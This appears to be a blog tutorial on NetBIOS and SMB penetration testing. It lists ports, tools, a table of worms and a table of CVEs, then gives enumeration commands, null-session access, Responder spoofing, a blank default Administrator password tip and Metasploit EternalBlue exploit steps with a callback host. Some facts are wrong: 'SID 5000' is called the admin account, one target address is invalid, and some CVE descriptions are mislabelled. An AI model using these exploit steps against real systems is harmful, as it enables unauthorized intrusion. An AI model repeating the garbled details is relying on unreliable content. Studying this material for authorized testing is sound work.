Explore our latest blog post for an in-depth dive into the world of NetBios Pentesting. Understand how this technique is leveraged in the realm of cybersecurity to identify vulnerabilities in the network.

Learn about the intricacies involving penetrating NetBios, a service that enables communication over a local network.

Our expertly written post also shares valuable information regarding potential threats and how effective NetBios pentesting can preemptively discover and address these vulnerabilities.

Whether you are a cybersecurity novice or a seasoned expert, this blog can serve as a comprehensive guide to understanding and mastering NetBios Pentesting.

Stay ahead of security threats with our exclusive insights.

Welcome to our detailed guide on NetBios Penetration Testing.

This blog aims to educate cybersecurity enthusiasts, IT professionals, and budding ethical hackers about the intricacies of NetBios, its potential vulnerabilities, and how penetration testing can be used to identify and fix those vulnerabilities.

Introduction

NetBIOS Penetration Testing (Network Basic Input/Output System) is a legacy protocol used for communication between computers in a local network.

Penetration testing involves assessing the security of a network or system to identify vulnerabilities and potential exploits.

NetBIOS Ports

When it comes to NetBIOS penetration testing, there are several fundamental aspects to consider.

PortDescriptionRFC
137NetBIOS Name Service (NBNS)RFC 1001, RFC 1002
138NetBIOS Datagram Service (NB-DGRAM)RFC 1001, RFC 1002
139NetBIOS Session Service (NB-SESSION)RFC 1001, RFC 1002
445Server Message Block (SMB) over IPRFC 1001, RFC 1002, RFC 5661
593Microsoft DCOM (Distributed Component Object Model)N/A (proprietary)
NETBIOS Ports

Please note that while NetBIOS-related specifications are documented in RFC 1001 and RFC 1002, the specific RFC for the Microsoft DCOM implementation over NetBIOS is not publicly available.

It’s worth mentioning that in modern network environments, NetBIOS is considered a legacy protocol, and the use of more secure and efficient protocols like SMBv3 or SMB over TCP/IP (port 445) is recommended.

Name service for name registration and resolution (ports: 137/udp and 137/tcp).

Datagram distribution service for connectionless communication (port: 138/udp).

Session service for connection-oriented communication (port: 139/tcp).

Remember always test the default Windows credentials for old systems.
Administrator: <BLANK>
SID 5000 is admin account

NetBIOS Hacking Tools

Explore a comprehensive guide to NetBIOS Hacking Tools, understanding their functionalities and use in ethical hacking. Secure networks better with our insightful article.

Linux Tools

ToolDescription
enum4linuxA tool for enumerating NetBIOS information from Linux systems
smbclientAllows interaction with SMB/CIFS servers
nbtscanScans for open NetBIOS nameservers and enumerates services
nbtenumEnumerates NetBIOS names and services on a target
nmapA powerful network scanning tool that can include NetBIOS enumeration scripts
Linux NetBIOS Hacking Tools

Microsoft Tools

ToolDescription
enum4windowsA tool designed specifically for NetBIOS enumeration on Windows systems
NBTScanA command-line tool for scanning and enumerating NetBIOS information on Windows
NmapA powerful network scanning tool that can include NetBIOS enumeration scripts
ResponderA tool that listens for NetBIOS Name Service (NBNS) queries and responds to them, capturing credentials and other information
MetasploitA penetration testing framework that includes modules for NetBIOS enumeration and exploitation
Windows NetBIOS Hacking Tools

NetBios Pentesting

Buckle up as we navigate through the complex yet captivating world of NetBios Penetration Testing!

NetBIOS Enumeration

As a penetration tester, when enumerating the NetBIOS protocol, there are several areas you should focus on to identify potential vulnerabilities and gather information.

Here are some key aspects to consider during NetBIOS enumeration:

NetBIOS Names

Enumerate NetBIOS names to identify systems and services available on the network. This can be done using tools like NBTScan, enum4linux, or nmap with the “–script nbstat” option.

enum4linux -a 192.168.1.125

NetBIOS Shares

Enumerate shared resources (folders, printers, etc.) on NetBIOS-enabled systems. Tools like enum4linux, smbclient, or Metasploit’s auxiliary modules can assist in listing accessible shares and their permissions.

User Accounts

Enumerate user accounts through NetBIOS. This can include gathering NetBIOS-specific user information, such as usernames, SIDs (Security Identifiers), and related details.

Tools like enum4linux or smbclient can help in this process.

Group Information

Enumerate NetBIOS groups and their memberships. Identify security groups, administrative groups, or any other relevant information that can assist in privilege escalation or lateral movement.

Service Information

Identify the NetBIOS services running on target systems and gather information about their configurations.

This can include obtaining version information, identifying vulnerable service implementations, or checking for misconfigurations that can lead to security weaknesses.

NetBIOS Sessions

Enumerate active NetBIOS sessions to identify established connections between systems. This can provide insights into the communication and potential attack vectors.

sudo nmap -sU --script nbstat.nse -p137 192.168.1.125

NetBIOS Null Sessions

NetBIOS allows for anonymous access known as a null session.

Attackers can exploit misconfigured permissions on shares or RPC interfaces accessible through null sessions to gather sensitive information, such as user account details or system configurations.

rpcclient -U "" <IP address>

NetBIOS over TCP/IP (NBT) Records

Explore NetBIOS over TCP/IP (NBT) records in DNS to gather additional information about NetBIOS-enabled systems. Look for DNS entries related to NetBIOS names, IP addresses, or other relevant records.

nbstat
nmblookup -A 192.168.1.95
nmblookup
nmblookup
nmap -sV 192.168.1.95 --script nbstat.nse 
NetBIOS Penetration Testing
Nmap Netbios Scan

NetBIOS Name Service (NBNS) Spoofing

This vulnerability allows an attacker to spoof responses to NetBIOS name queries, redirecting traffic to their malicious system.

This can be used for various purposes, such as conducting man-in-the-middle attacks.

Tools like Responder can automate this process.

sudo responder -I eth0 -wFb

NetBIOS Session Hijacking

NetBIOS sessions can be hijacked by exploiting weaknesses in the session establishment and management process.

By capturing and analyzing NetBIOS traffic, an attacker can extract session-specific information or even take control of active sessions.

NetBIOS Password Cracking

Weak or default passwords used for NetBIOS authentication can be exploited through brute-forcing or password-cracking techniques.

This allows attackers to gain unauthorized access to systems with weak password configurations.

NetBIOS Denial-of-Service (DoS)

Attackers can flood NetBIOS services with a high volume of requests, overwhelming the target system and causing it to become unresponsive.

This can lead to a denial-of-service condition, disrupting normal operations.

NetBIOS Worms

Worms like Conficker (also known as Downadup) targeted NetBIOS vulnerabilities to spread across networks rapidly.

These worms exploited weaknesses in NetBIOS implementations to infect vulnerable systems, creating botnets for malicious activities.

Worm NameDescriptionPropagation MechanismImpactNotable Features
ConfickerEmerged in 2008, highly prolificExploited vulnerabilities in Windows, including NetBIOSCreated a massive botnet, compromised millions of systemsPolymorphic code, domain generation algorithm
NimdaMultifaceted worm, spread via multiple vectorsExploited vulnerabilities in Windows, including NetBIOSRapidly spread, disrupted networks and servicesCombined email, web, and network-based propagation
CodeRedEmerged in 2001, targeted Windows serversExploited buffer overflow vulnerability in IIS, used NetBIOSInfected servers, defaced websites, caused network outagesRapid propagation, defacement of web pages
SQL SlammerExploited buffer overflow in Microsoft SQL ServerUtilized UDP port scanning to find vulnerable systemsCaused widespread Internet slowdowns and disruptionsExtremely fast propagation, small code size

NetBIOS Vulnerability Assessment

https://shop.tenable.com/tenable-one

CVE IdentifierDescriptionCVSS ScoreImpactRemediation
CVE-2020-0796Remote Code Execution in Microsoft SMBv310.0Remote code executionApply security updates or a workaround provided by Microsoft
CVE-2017-0143Windows SMB Remote Code Execution Vulnerability10.0Remote code executionApply security updates provided by Microsoft
CVE-2017-0145Windows SMB Remote Code Execution Vulnerability10.0Remote code executionApply security updates provided by Microsoft
CVE-2017-0146Windows SMB Remote Code Execution Vulnerability10.0Remote code executionApply security updates provided by Microsoft
CVE-2017-0148Windows SMB Remote Code Execution Vulnerability10.0Remote code executionApply security updates provided by Microsoft
CVE-2016-3225Windows NetBIOS Name Service Spoofing7.5SpoofingApply security updates provided by Microsoft
CVE-2013-3881Multiple Buffer Overflows in Microsoft SMBv110.0Remote code executionApply security updates provided by Microsoft

NetBIOS Exploitation

NetBIOS Name Service Spoofer

smb_ms17_010

use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010) > set rhosts 192.168.1.128
msf auxiliary(smb_ms17_010) > set rport 445
msf auxiliary(smb_ms17_010) > exploit

ms17_010_eternalblue

use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.1.128
msf exploit(ms17_010_eternalblue) >set rport 445
msf exploit(ms17_010_eternalblue) >set lhost 192.168.1.115
msf exploit(ms17_010_eternalblue) > exploit
MSF: auxiliary/server/netbios_spoof_nat
MSF: auxiliary/server/netbios_spoof_nat

NetBIOS Post-Exploitation

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Network Penetration Testing,